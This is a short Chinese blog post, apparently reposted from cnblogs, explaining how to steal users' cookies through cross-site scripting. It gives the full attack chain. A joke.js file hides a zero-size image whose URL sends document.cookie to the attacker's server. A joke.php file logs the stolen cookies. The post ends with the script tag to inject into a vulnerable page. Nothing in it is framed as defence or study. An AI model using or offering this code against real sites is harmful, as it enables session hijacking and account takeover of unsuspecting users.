首页 > 其他 > 详细

XSS获取cookie

时间:2016-11-20 06:50:58      阅读:235      评论:0      收藏:0      [点我收藏+]

在你服务器的html目录下创建joke文件夹;

在joke文件夹中创建joke.js 和joke.php

 

joke.js 创建img标签,将它的src属性指向另一个脚本joke.php,这里关键的一点是:将页面的cookie作为参数附加到url后面

joke.js代码如下:

var img = document.createElement(‘img‘);
img.width = 0;
img.height = 0;
img.src = ‘http://ip/joke/joke.php?joke=‘+encodeURIComponent(document.cookie);

 

 

joke.php解析请求里面的joke参数(即用户的cookie),然后保存起来

joke.php代码如下:

<?php
    @ini_set(‘display_errors‘,1);
    $str = $_GET[‘joke‘];
    $filePath = "joke.php";

    if(is_writable($filePath)==false){
         echo "can‘t write";
    }else{
          $handler = fopen(filePath, "a");
          fwrite($handler, $str);
          fclose($handler);
    }
?>

 

找到XSS漏洞后,输入如下内容:

<script src="http://ip/joke/joke.js"></script>

#ip为你的服务器ip

 

XSS获取cookie

原文:http://www.cnblogs.com/Garvey/p/6081895.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!